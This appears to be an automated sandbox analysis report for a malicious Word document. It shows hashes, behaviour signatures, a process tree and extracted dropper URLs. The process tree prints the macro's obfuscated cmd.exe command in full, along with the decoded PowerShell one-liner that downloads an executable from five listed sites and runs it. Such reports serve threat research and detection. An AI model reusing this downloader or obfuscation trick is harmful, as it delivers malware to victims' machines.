Overview

overview

10

Static

static

8

933aeadba3...47.doc

windows7-x64

10

933aeadba3...47.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    101s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220721-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2022 03:36

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    933aeadba3464a27badfe55d8bafacbd07d2fe06a0047a8dd0b2e46d1bd1a647.doc

  • Size

    133KB

  • MD5

    91faa08527f0ad0acfb175f709d03dda

  • SHA1

    34c3832e3f52650f3232cd7cd0caa84e72f1caca

  • SHA256

    933aeadba3464a27badfe55d8bafacbd07d2fe06a0047a8dd0b2e46d1bd1a647

  • SHA512

    209dccda124d158272d19d06d73714a1026c91867940d4db2be7b4bc0428017aa7b5bf49c4ac37f63c3d071a6761063e273623d1fbbd9fc2db5b6dd68af278d2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.funtelo.com/58S1xJ09
exe.dropper

http://www.shout4music.com/Kkt4CUPvX2
exe.dropper

http://advustech.com/l5EcamTDy
exe.dropper

http://www.ceeetwh.org/UZwh7EIWD6
exe.dropper

http://www.gmlsoftware.com/itTZIne5M

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\933aeadba3464a27badfe55d8bafacbd07d2fe06a0047a8dd0b2e46d1bd1a647.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1740
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2200
        • C:\Windows\system32\cmd.exe
          CmD /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1588
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$SjG='Nal';$Okf=new-object Net.WebClient;$jGp='http://www.funtelo.com/58S1xJ09@http://www.shout4music.com/Kkt4CUPvX2@http://advustech.com/l5EcamTDy@http://www.ceeetwh.org/UZwh7EIWD6@http://www.gmlsoftware.com/itTZIne5M'.Split('@');$Fwu='YYi';$PsL = '975';$TQs='BiS';$ATF=$env:temp+'\'+$PsL+'.exe';foreach($vIc in $jGp){try{$Okf.DownloadFile($vIc, $ATF);$XwX='mmO';If ((Get-Item $ATF).length -ge 80000) {Invoke-Item $ATF;$jLi='AWI';break;}}catch{}}$zwz='Fac';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3228

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1588-139-0x0000000000000000-mapping.dmp

      Download

    • memory/1740-137-0x0000000000000000-mapping.dmp

      Download

    • memory/2200-138-0x0000000000000000-mapping.dmp

      Download

    • memory/2900-134-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-140-0x0000013204ED0000-0x0000013204ED4000-memory.dmp

      Filesize

      16KB

      Download

    • memory/2900-135-0x00007FFD015A0000-0x00007FFD015B0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-136-0x00007FFD015A0000-0x00007FFD015B0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-133-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-131-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-132-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-130-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-149-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-148-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-147-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2900-146-0x00007FFD03CF0000-0x00007FFD03D00000-memory.dmp

      Filesize

      64KB

      Download

    • memory/3228-144-0x00007FFD18720000-0x00007FFD191E1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3228-143-0x00007FFD18720000-0x00007FFD191E1000-memory.dmp

      Filesize

      10.8MB

      Download

    • memory/3228-142-0x0000019753E30000-0x0000019753E52000-memory.dmp

      Filesize

      136KB

      Download

    • memory/3228-141-0x0000000000000000-mapping.dmp

      Download